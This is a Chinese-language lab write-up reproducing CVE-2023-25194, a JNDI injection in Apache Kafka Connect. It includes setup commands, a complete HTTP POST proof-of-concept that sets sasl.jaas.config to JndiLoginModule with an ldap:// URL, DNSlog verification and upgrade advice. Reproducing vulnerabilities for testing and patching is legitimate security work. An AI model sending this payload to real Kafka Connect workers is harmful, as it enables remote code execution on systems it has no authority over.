Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)
Posted OidBoy_G
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)相关的知识,希望对你有一定的参考价值。
1、产品简介
Kafka Connect是一种用于在Apache Kafka和其他系统之间可扩展且可靠地流式传输数据的工具。它使快速定义将大量数据移入和移出Kafka的连接器变得简单。Kafka Connect可以摄取整个数据库或从所有应用程序服务器收集指标到Kafka主题中,使数据可用于低延迟的流处理。
2、漏洞概述
在Apache Kafka Connect中存在JNDI注入漏洞,当攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入,造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。
3、影响范围
影响版本
2.3.0 <= Apache Kafka <= 3.3.2
不受影响版本
Apache Kafka >= 3.4.0
4、复现环境
Windows10搭建Kafka2.4.0集成环境(自行搭建jdk和mysql环境)
我这边使用的是jdk-11.0.18_windows-x64_bin.exe(JDK8也可以,建议使用JDK11)
mysql 5.7.27
Kafka2.4.0集成环境下载地址:https://download.csdn.net/download/qq_41904294/87588240
5、漏洞复现
启动环境
bin\\windows\\zookeeper-server-start.bat config\\zookeeper.properties
bin\\windows\\kafka-server-start.bat config\\server.properties
bin\\windows\\connect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties
如果报错:“输入行太长。命令语法不正确”。出现这个问题的原因是 Windows 命令长度最长支持 8192 个字符,Kafka 的启动脚本中有命令拼接 classpath 变量,classpath 的内容是每个 jar 包的绝对路径拼接的字符串。当 Kafka 的位置比较深,也就是目录比较长的时候,classpath 的长度就会超长。
解决方法:缩短目录树结构,把Kafka安装目录直接放到根目录下即可。
访问漏洞环境查看是否启动
burp抓包查看是否存在相关依赖
http://x.x.x.x:8083/connector-plugins
当前网上流传的POC
POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821
"name": "xxx",
"config":
"connector.class": "io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "127.0.0.1",
"database.port": "3306",
"database.user": "root",
"database.password": "xxxx",
"database.server.id": "xxxx",
"database.server.name": "xxxx",
"database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
"database.history.kafka.topic": "xxxx", "database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\\"ldap://xxxx\\" useFirstPass=\\"true\\" serviceName=\\"x\\" debug=\\"true\\" group.provider.url=\\"xxx\\";"
POC原理 :通过创建mysql连接器时,设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入
利用Dnslog回显验证漏洞是否存在
报错了,查看漏洞环境报错信息,提示服务器时区错误无法识别 ,在网上找了找方法,找到一些设置修改数据库时区,set time_zone='+8:00'; 这种方法,但是尝试后并无果,后来看了一遍文章,在创建连接器时指定数据库时区的方式
添加配置"database.serverTimezone“解决(不明白这里为什么要指定美国时区,知道的大哥指点一下)
"config":
...
"database.serverTimezone": "America/Los_Angeles",
...
重新验证
回显成功,漏洞存在
6、修复建议
目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0及以上版本。
暂时无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。
以上是关于Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)的主要内容,如果未能解决你的问题,请参考以下文章
Apache Kafka Connect JNDI注入漏洞 (CVE-2023-25194) 安全风险通告
Kafka日志报错:[error] k.m.j.KafkaJMX$ - Failed to connect to service:jmx:rmi:///jndi/rmi://10.1.3.116:-1
Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析
Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析
如何从 Kafka JSON 消息中获取 org.apache.kafka.connect.data.Decimal 值 [重复]